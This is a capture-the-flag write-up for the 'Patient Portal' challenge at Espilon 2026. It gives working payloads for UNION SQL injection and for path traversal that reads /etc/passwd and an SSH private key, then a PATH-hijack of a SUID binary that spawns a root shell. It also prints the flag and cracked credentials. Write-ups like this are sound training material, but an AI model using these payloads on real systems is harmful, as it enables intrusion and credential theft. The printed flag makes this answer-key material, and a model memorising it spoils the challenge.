6a0877384d
- Remove undeployed challenges: Phantom_Byte, Cr4cK_w1f1, Lain_Br34kC0r3 V1, Lain_VS_Knights, Lets_All_Love_UART, AETHER_NET, Last_Train_451, Web3/ - Sync 24 solve/ files from main CTF-Espilon repo - Update all READMEs with real CTFd final scores at freeze - Add git-header.png banner - Rewrite README: scoreboard top 10, edition stats (1410 users, 264 boards, 1344 solves), correct freeze date March 26 2026
190 lines
4.0 KiB
Markdown
190 lines
4.0 KiB
Markdown
# Patient Portal
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| Category | Misc |
|
|
| Difficulty | Medium-Hard |
|
|
| Points | 340 |
|
|
| Author | Eun0us |
|
|
| CTF | Espilon 2026 |
|
|
|
|
---
|
|
|
|
## Description
|
|
|
|
The WIRED-MED network at Clinique Sainte-Mika runs a patient portal for staff.
|
|
Intelligence suggests the system was hastily deployed by contractor M. Eiri.
|
|
|
|
Gain full control of the machine.
|
|
|
|
**Ports:**
|
|
- 8080: Web Portal (HTTP)
|
|
- 2222: SSH
|
|
|
|
Format: **ESPILON{flag}**
|
|
|
|
---
|
|
|
|
## TL;DR
|
|
|
|
SQL injection on the `/search` endpoint to dump credentials and the SSH passphrase. Log in
|
|
as admin, exploit path traversal on the report download endpoint to steal the SSH private key.
|
|
SSH in as `webadmin`. Find a SUID binary that calls `logger` with a relative path. Hijack it
|
|
via PATH injection to spawn a root shell and read the flag.
|
|
|
|
---
|
|
|
|
## Tools
|
|
|
|
| Tool | Purpose |
|
|
|------|---------|
|
|
| Browser / `curl` | SQL injection, admin login, path traversal |
|
|
| `hashcat` / CrackStation | MD5 crack for admin password |
|
|
| `ssh` | Login as webadmin |
|
|
| `bash` | PATH injection privilege escalation |
|
|
|
|
---
|
|
|
|
## Solution
|
|
|
|
### Stage 1 — SQL Injection
|
|
|
|
The `/search?q=` endpoint is vulnerable to UNION-based injection with 6 columns.
|
|
|
|
**Enumerate columns:**
|
|
|
|
```
|
|
/search?q=' UNION SELECT 1,2,3,4,5,6--
|
|
```
|
|
|
|
**Discover tables:**
|
|
|
|
```
|
|
/search?q=' UNION SELECT 1,name,3,4,5,6 FROM sqlite_master WHERE type='table'--
|
|
```
|
|
|
|
Tables: `patients`, `users`, `system_config`
|
|
|
|
**Dump users:**
|
|
|
|
```
|
|
/search?q=' UNION SELECT 1,username,password_hash,role,5,6 FROM users--
|
|
```
|
|
|
|
Results:
|
|
- `admin` : MD5 hash `e0b7e413c064de43c6c1ca40a8c175a1`
|
|
- `nurse01` : (irrelevant)
|
|
|
|
**Dump system_config:**
|
|
|
|
```
|
|
/search?q=' UNION SELECT 1,key,value,3,4,5 FROM system_config--
|
|
```
|
|
|
|
Key finding: `ssh_passphrase = wired-med-013`
|
|
|
|
|
|
|
|
**Crack the admin password:**
|
|
|
|
```bash
|
|
echo -n "SainteMika2026" | md5sum
|
|
# e0b7e413c064de43c6c1ca40a8c175a1
|
|
```
|
|
|
|
Password: `SainteMika2026`
|
|
|
|
---
|
|
|
|
### Stage 2 — Admin Access
|
|
|
|
Log in at `/login`:
|
|
|
|
- Username: `admin`
|
|
- Password: `SainteMika2026`
|
|
|
|
The admin panel reveals: SSH port 2222, user `webadmin`.
|
|
|
|
|
|
|
|
---
|
|
|
|
### Stage 3 — Path Traversal
|
|
|
|
The `/admin/reports?file=` endpoint is vulnerable to path traversal.
|
|
|
|
**Confirm user exists:**
|
|
|
|
```
|
|
/admin/reports?file=../../../etc/passwd
|
|
```
|
|
|
|
**Extract the SSH private key:**
|
|
|
|
```
|
|
/admin/reports?file=../../../home/webadmin/.ssh/id_rsa
|
|
```
|
|
|
|
Save the key to `id_rsa` locally.
|
|
|
|
|
|
|
|
---
|
|
|
|
### Stage 4 — SSH Access
|
|
|
|
```bash
|
|
chmod 600 id_rsa
|
|
ssh -i id_rsa -p 2222 webadmin@<HOST>
|
|
# Passphrase: wired-med-013 (from system_config)
|
|
```
|
|
|
|
---
|
|
|
|
### Stage 5 — Privilege Escalation
|
|
|
|
**Find SUID binaries:**
|
|
|
|
```bash
|
|
find / -perm -4000 -type f 2>/dev/null
|
|
```
|
|
|
|
Found: `/opt/navi-monitor/vital-check` (SUID root)
|
|
|
|
**Inspect the binary:**
|
|
|
|
```bash
|
|
strings /opt/navi-monitor/vital-check | grep logger
|
|
```
|
|
|
|
The binary calls `system("logger -t vital-check 'check complete'")` using a
|
|
**relative path** for `logger`.
|
|
|
|
|
|
|
|
**Exploit via PATH hijacking:**
|
|
|
|
```bash
|
|
echo '#!/bin/bash' > /tmp/logger
|
|
echo '/bin/bash -p' >> /tmp/logger
|
|
chmod +x /tmp/logger
|
|
export PATH=/tmp:$PATH
|
|
/opt/navi-monitor/vital-check
|
|
```
|
|
|
|
`bash -p` preserves the SUID effective UID, spawning a root shell.
|
|
|
|
**Read the flag:**
|
|
|
|
```bash
|
|
cat /root/root.txt
|
|
```
|
|
|
|
|
|
|
|
---
|
|
|
|
## Flag
|
|
|
|
`ESPILON{r00t_0f_s41nt3_m1k4}`
|